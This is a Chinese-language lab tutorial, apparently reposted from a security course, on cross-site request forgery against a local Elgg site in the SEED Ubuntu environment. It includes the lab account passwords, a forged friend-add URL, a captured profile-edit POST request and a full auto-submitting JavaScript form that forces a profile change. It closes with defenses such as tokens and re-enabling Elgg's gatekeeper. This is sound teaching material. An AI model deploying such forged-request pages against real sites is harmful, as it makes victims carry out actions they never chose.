什么是CSRF攻击?

什么是CSRF攻击?一定要看到结尾 你会看到一个魔术 长衫大佬可以坐下来 听听我讲 tree 故 new 事 bee Web 安全 CSRF 攻击防范作者 ailx10 什么是 CSRF 攻击

欢迎大家来到IT世界,在知识的湖畔探索吧!

一定要看到结尾,你会看到一个魔术!长衫大佬可以坐下来,听听我(tree)(new)(bee):

什么是CSRF攻击?



欢迎大家来到IT世界,在知识的湖畔探索吧!

【Web安全】CSRF攻击防范

作者 ailx10

什么是CSRF攻击?

CSRF简介

CSRF(Cross-site request forgery)跨站请求伪造

可信站点 Elgg网站 可信站点的受害用户 admin用户
恶意用户 恶意站点 攻击者网站

1.admin使用他的用户名密码登录到Elgg
2.Elgg将admin的会话标识符存储在admin的Web浏览器的cookie中
3.admin被诱导访问攻击者网站
4.攻击者网站 是一个自提交的表单
5.web浏览器把cookie附加在请求中 一并发送到Elgg网站
6.Elgg处理这个GET/POST请求 攻击发生!




  • CSRF与XSS攻击对比
    1.XSS需要1个网站 CSRF需要2个网站
    2.XSS注入点在Elgg网站 CSRF注入点在攻击者网站
    3.都需要诱导admin访问某个页面


实验环境配置

如果你已经完成了XSS攻击防范实验 那么CSRF攻击对你来说就很简单了!
– 浏览器配置
安装

LiveHTTPHeaders插件
– Apache配置

SEEDUbuntu12.04预安装 我们只要启动即可!
– Elgg网站安装

SEEDUbuntu12.04预安装
和XSS攻击实验一样:

User UserName Password Admin admin seedelgg Alice alice seedalice Boby boby seedboby Charlie charlie seedcharlie Samy samy seedsamy

欢迎大家来到IT世界,在知识的湖畔探索吧!

  • DNS服务器配置
    SEEDUbuntu12.04预安装
欢迎大家来到IT世界,在知识的湖畔探索吧!URL Description Directory www.csrflabattacker.com 攻击者网站 /var/www/CSRF/Attacker/ www.csrflabelgg.com Elgg网站 /var/www/CSRF/Elgg/

在一台服务器上搭建多个站点的网站 已经在XSS实验中教过了!!
修改
/etc/hosts文件:

192.168.59.155 www.csrflabelgg.com 192.168.59.155 www.csrflabattacker.com

现在你已经能成功访问上面的2个网站了!!
开始咱们的CSRF攻击实验吧!

通过CSRF攻击让目标用户添加好友

攻击者希望admin添加自己好友 但是admin不同意 咋办?

咱们先自己添加一下好友 看看这个动作到底干了什么 通过HTTPHeaderLive我们可以看到是个GET请求!!
请求地址如下 我们在攻击者网站构造一个
img标签 实现自动GET请求:

http://www.csrflabelgg.com/action/friends/add?friend=43&__elgg_ts=&__elgg_token=
a2b973d09b00ab37ce9b443aef

什么是CSRF攻击?

通过CSRF攻击修改目标用户的个人简介

攻击者希望admin帮他打广告 但是admin不同意 咋办?

咱们这里说的打广告 只是个比喻 实际上做的是 要求admin修改一下个人简介
admin当然不干了 你叫我改我就改啊? 我和你很熟吗? 我admin可是站长 有脾气的!!

咱们先看看修改个人简介这个动作 到底是什么操作? 通过HTTPHeaderLive我们可以看到是个POST请求 !!

什么是CSRF攻击?

欢迎大家来到IT世界,在知识的湖畔探索吧!POST http://www.csrflabelgg.com/action/profile/editHost: www.csrflabelgg.comUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:60.0) Gecko/20100101 Firefox/60.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-GB,en;q=0.5Accept-Encoding: gzip, deflateReferer: http://www.csrflabelgg.com/profile/admin/Content-Type: application/x-www-form-urlencodedContent-Length: 565Cookie: Elgg=lgpeqhed4b0ei8c1nid9kgonj2Connection: keep-aliveUpgrade-Insecure-Requests: 1__elgg_token=4758d8fee39a3a3ca0e3eb2d8c9f43b7&__elgg_ts=1529136959&name=admin&description=&accesslevel[description]=2&briefdescription=我是admin站长大人!!!&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2&guid=33

CSRF攻击前:

什么是CSRF攻击?

攻击者可以构造自动提交的POST表单:

<html>
<body>
<h1>This page forges an HTTP POST request.</h1>
<script type="text/javascript">
function post(url,fields)
{
    var p = document.createElement("form");
    p.action = url;
    p.innerHTML = fields;
    p.target = "_blank";
    p.method = "post";
    document.body.appendChild(p);
    p.submit();
}
function csrf_hack()
{
    var fields = "";
    fields += "<input type='hidden' name='name' value='Admin'>";
    fields += "<input type='hidden' name='description' value='hackbiji'>";
    fields += "<input type='hidden' name='accesslevel[description]' value='2'>";
    fields += "<input type='hidden' name='briefdescription' value='hackbiji'>";
    fields += "<input type='hidden' name='accesslevel[briefdescription]' value='2'>";
    fields += "<input type='hidden' name='location' value=''>";
    fields += "<input type='hidden' name='accesslevel[location]' value='2'>";
    fields += "<input type='hidden' name='guid' value='33'>";
    var url = "http://www.csrflabelgg.com/action/profile/edit";
    post(url,fields);
}
window.onload = function() { csrf_hack();}
</script>
</body>
</html>

CSRF攻击后:

什么是CSRF攻击?

中小企业如何防御CSRF攻击

中小企业应付Web攻击的最好的建议:部署WAF


技术层面防御CSRF攻击:
– 什么是浏览器同源保护策略?

采用Token验证请求的合法性

同源的定义:

1.协议相同
2.域名相同
3.端口相同

开启Elgg网站的CSRF保护策略!!


/var/www/CSRF/elgg/engine/lib/action.php
文件中 注释掉return true 重启apache服务器 记得清空缓存继续实验!!!如下图CSRF攻击无效!!!

欢迎大家来到IT世界,在知识的湖畔探索吧!function action_gatekeeper($action) { //return true; ... ... } 
什么是CSRF攻击?

免责声明:本站所有文章内容,图片,视频等均是来源于用户投稿和互联网及文摘转载整编而成,不代表本站观点,不承担相关法律责任。其著作权各归其原作者或其出版社所有。如发现本站有涉嫌抄袭侵权/违法违规的内容,侵犯到您的权益,请在线联系站长,一经查实,本站将立刻删除。 本文来自网络,若有侵权,请联系删除,如若转载,请注明出处:https://itzsg.com/130393.html

(0)
上一篇 12分钟前
下一篇 2分钟前

相关推荐

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

联系我们YX

mu99908888

在线咨询: 微信交谈

邮件:itzsgw@126.com

工作时间:时刻准备着!

关注微信